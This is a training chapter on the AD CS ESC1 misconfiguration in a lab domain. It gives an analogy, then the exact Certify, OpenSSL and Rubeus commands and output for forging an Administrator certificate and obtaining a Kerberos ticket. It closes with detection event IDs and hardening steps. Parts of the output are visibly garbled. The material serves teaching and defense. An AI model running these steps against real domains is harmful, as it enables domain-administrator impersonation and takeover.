

Chapter 14: PKI - ESC1

1 The Concept: Active Directory Certificate Services (AD CS)

Technical Concept: The Power of Certificates

Active Directory Certificate Services (AD CS) is a Public Key Infrastructure (PKI) implementation that provides a highly flexible and powerful method for authentication.

- **Persistent Access:** Certificates often remain valid for a year or more, and unlike password-based credentials, a password reset does not invalidate an existing certificate.
- **ESC1 - Enrollee Supplies Subject:** This specific vulnerability occurs when a certificate template allows the requester to specify a Subject Alternative Name (SAN).
- **Impersonation:** If a template has `ENROLLEE_SUPPLIES_SUBJECT` enabled and allows **Client Authentication**, an attacker can request a certificate as any user, including a Domain Administrator.

The Grand Hotel Analogy: The Self-Service ID Kiosk

Imagine the hotel installs a **Self-Service ID Kiosk** (*AD CS*) so staff can print their own security badges.

- **The Badge Printer:** The machine is programmed to print badges for any **Staff Member (Authenticated User)** who asks for one.
- **The Flaw (ESC1):** The machine has a "Custom Name" field enabled (`ENROLLEE_SUPPLIES_SUBJECT`), allowing the person at the kiosk to type whatever name they want on the badge.
- **The Forgery: Bob (the Dishwasher)** goes to the machine and types "General Manager" (*Administrator*) in the custom name field.
- **The Result:** The machine prints an official, high-clearance badge with Bob's photo but the Manager's name. Because the badge was made by the hotel's official printer, security guards trust it blindly.

2 Attack Execution: Step-by-Step

2.1 Step 1: Vulnerability Enumeration

We use **Certify** to scan the PKI infrastructure for misconfigured templates that allow unprivileged users to supply a Subject Alternative Name.

>_ Terminal: Windows PowerShell (as bob)

```
.\Certify.exe find /vulnerable
```

[!] Vulnerable Certificates Templates :

CA Name	:	PKI.eagle.local\eagle-PKI-CA
Template Name	:	UserCert
Schema Version	:	4
Validity Period	:	10 years
Renewal Period	:	6 weeks
msPKI-Certificates-Name-Flag	:	ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag	:	INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required	:	0
pkixextendedkeyusage	:	Client Authentication, Encrypting File System, Secure
mspki-certificate-application-policy	:	Client Authentication, Encrypting File System, Secure
Permissions		
Enrollment Permissions		
Enrollment Rights	:	EAGLE\Domain Admins S-1-5-21-1518138621-428290275
	:	EAGLE\Domain Users S-1-5-21-1518138621-428290275
	:	EAGLE\Enterprise Admins S-1-5-21-1518138621-428290275
Object Control Permissions		
Owner	:	EAGLE\Administrator S-1-5-21-1518138621-428290275
WriteOwner Principals	:	EAGLE\Administrator S-1-5-21-1518138621-428290275
	:	EAGLE\Domain Admins S-1-5-21-1518138621-428290275
	:	EAGLE\Enterprise Admins S-1-5-21-1518138621-428290275
WriteDacl Principals	:	EAGLE\Administrator S-1-5-21-1518138621-428290275

2.2 Step 2: Requesting the Fraudulent Certificate

We identify the template **UserCert** as vulnerable. We request a certificate for the **Administrator** account using this template.

>_ Terminal: Windows PowerShell (as bob)

```
.\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert  
/altname:Administrator
```

```
PS C:\Users\Bob\Downloads> .\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname
tor

v1.0.0

[*] Action: Request a Certificates
[*] Current user context : EAGLE\Bob
[*] No subject name specified, using current context as subject.
[*] Template : UserCert
[*] Subject : CN=Bob, CN=Users, DC=eagle, DC=local
[*] AltName : Administrator
[*] Certificate Authority : PKI.eagle.local\eagle-PKI-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 36
```

2.3 Step 3: Conversion and Authentication

We convert the generated PEM certificate to a PFX file using OpenSSL, then use **Rubeus** to perform a PKINIT exchange and obtain a TGT for the Administrator.

>_ Terminal: Linux/PowerShell - Conversion and TGT Request

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic
Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /domain:eagle.local /user:Administrator
/certificate:cert.pfx /dc:dc1.eagle.local /ptt
```

```
(kali@kali)-[~]
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
```

```
PS C:\Users\bob\Downloads> .\Rubens.exe asktgt /domain:eagle.local /user:Administrator /certificate:cert.pfx /dc:dc1.eagle.local /ptt

Rubens
v2.0.1
[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=bob, OU=EagleUsers, DC=eagle, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'eagle.local\Administrator'
[*] TGT request successful!
[*] base64(ticket.kirbi):

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
LmxvY2Fs

[+] Ticket successfully imported!
```

3 Detection: Monitoring PKI Abuse

Technical Concept: Key Event IDs for PKI Audit

Monitoring the Certification Authority (CA) and Domain Controller is essential for detecting forged certificate usage.

- **Event ID 4886:** Certificate Services received a certificate request.
- **Event ID 4887:** Certificate Services approved and issued a certificate.
- **Event ID 4768:** A Kerberos TGT was requested using a certificate (PKINIT).

4 Prevention: Hardening AD CS

- **Disable SAN Supply:** Ensure the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is disabled on all templates.
- **Manager Approval:** Require CA certificate manager approval for all issuance requests to prevent instant automated forgery.
- **Regular Scans:** Use tools like **Certify** to continuously audit PKI configurations.